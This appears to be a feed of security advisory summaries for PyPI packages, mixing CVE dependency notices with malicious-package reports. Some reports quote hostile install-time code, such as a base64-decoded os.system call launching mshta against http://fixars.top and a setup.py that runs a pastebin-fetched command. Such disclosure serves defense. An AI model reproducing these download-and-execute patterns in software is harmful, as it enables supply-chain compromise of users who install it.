aana (>=0.2.1, <=0.2.2.2), acai-swarm (0.1.0) +214 more potentially affected by CVE-2026-54233 via vllm (>=0.1.3, <=0.30.0)

vllm PYPI version =0.1.3, =0.2.1, =1.2.1, =0.0.0, =2.3.5.dev0, =0.0.7, =0.0.1b1, =0.2.2, =0.2.4, =1.0.0, =1.0.2 and more Source cves: CVE-2026-54233 Source advisory: SNYK:PYTHON-VLLM-17372794...

ROOT-APP-PYPI-CVE-2023-43810 CVE-2023-43810 in rootio-opentelemetry-instrumentation - Patched by Root

Root has patched CVE-2023-43810 in the rootio-opentelemetry-instrumentation package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2022-21668 CVE-2022-21668 in rootio-pipenv - Patched by Root

Root has patched CVE-2022-21668 in the rootio-pipenv package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-27459 CVE-2026-27459 in pyOpenSSL - Patched by Root

Root has patched CVE-2026-27459 in the pyOpenSSL package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2025-8869 CVE-2025-8869 in rootio-pip - Patched by Root

Root has patched CVE-2025-8869 in the rootio-pip package for Root:PyPI. Multiple fixed versions available...

Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...

ROOT-APP-PYPI-CVE-2022-23491 CVE-2022-23491 in rootio-certifi - Patched by Root

Root has patched CVE-2022-23491 in the rootio-certifi package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2023-37920 CVE-2023-37920 in rootio-certifi - Patched by Root

Root has patched CVE-2023-37920 in the rootio-certifi package for Root:PyPI. Multiple fixed versions available...

Malicious code in ezllmgen (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9ad551d9ee9ad2f3c29daab0377c3e52289324e938e28a3b58d71c60e8e15e8 setup.py downloads the first line of https://pastebin.com/raw/yBcUM1QB via urllib and passes it directly to os.systemf'cmd /c "cmdpastebin"' during...

1claw-crewai-tools (>=0.1.0, <=0.3.4), 4dpocket (>=0.1.3, <=0.1.4) +2152 more potentially affected by CVE-2026-45831 via chromadb (>=0.3.4, <=1.5.9)

chromadb PYPI version =0.3.4, =0.1.0, =0.1.3, =0.1.0, =0.1.0, =1.0.0, =0.1.0, =0.2.0, =0.6.4, =0.1.1, =0.0.4.dev0, =0.0.4 - adaline-crewai 0.1.0 - adam-thinking 1.0.0 and more Source cves: CVE-2026-45831 Source advisory: SNYK:PYTHON-CHROMADB-17337045...

MAL-2026-5532 Malicious code in icinga (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fbedb312e9cfe0f5cc7783487adc963f142ebcaefa0fb9305a9a535f373b052d PyPI package 'icinga' at version 99.1.0 is a dependency-confusion / typosquat lure against the Icinga monitoring project. It ships no real...

durabletask 1.4.1, 1.4.2, and 1.4.3 contain malicious code distributed via a compromised maintainer account

durabletask versions 1.4.1, 1.4.2, and 1.4.3 were published on 2026-05-19 within a35-minute window through a compromised PyPI maintainer account and contained malicious code.On import, the package fetched a remote payload rope.pyz from anattacker-controlled host and executed it.The payload was a...

MAL-2026-5302 Malicious code in nhmpy (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 34db1950ee9bdf9c75ae9bb2436085bbb443107321d8d7056a0bf3b8fae36978 The package is published as 'nhmpy' on PyPI but its contents are a verbatim copy of NumPy 2.4.6: the same source tree, docstrings, and license files...

Embedded Malicious Code

Overview pyphetools is a package designed to test how to use the Python version of the phenopackets package together with pandas to create phenopackets from typical supplemental tables. Affected versions of this package are vulnerable to Embedded Malicious Code. This package contains malicious co...

cafe-release (>=0.1.3, <=0.2.1rc1), cellist (1.0.0) +4 more potentially affected by unknown CVE via dynamo-release (>=1.4.1, <=1.5.3)

dynamo-release PYPI version =1.4.1, =0.1.3, =0.1.7, =1.0.0, =1.1.1 Source cves: unknown CVE Source advisory: SNYK:PYTHON-DYNAMORELEASE-17220136...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. This package contains malicious code associated with the Shai-Hulud / Miasma software supply chain campaign, a large scale operation that has affected numerous packages across open source ecosystems. The malicio...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. This package contains malicious code associated with the Shai-Hulud / Miasma software supply chain campaign, a large scale operation that has affected numerous packages across open source ecosystems. The malicio...

hicona (0.0.2) potentially affected by unknown CVE via coolbox (0.4.0)

coolbox PYPI version 0.4.0 is affected by a known vulnerability. The following packages have a transitive dependency on coolbox and may be impacted: - hicona 0.0.2 Source cves: unknown CVE Source advisory: SNYK:PYTHON-COOLBOX-17220135...

mrbios (0.1.0) potentially affected by unknown CVE via executor-http (0.1.2)

executor-http PYPI version 0.1.2 is affected by a known vulnerability. The following packages have a transitive dependency on executor-http and may be impacted: - mrbios 0.1.0 Source cves: unknown CVE Source advisory: SNYK:PYTHON-EXECUTORHTTP-17220138...

Embedded Malicious Code

Overview mflux-streamlit is a Streamlit WebUI application for the mflux project. Affected versions of this package are vulnerable to Embedded Malicious Code. This package contains malicious code associated with the Shai-Hulud / Miasma software supply chain campaign, a large scale operation that h...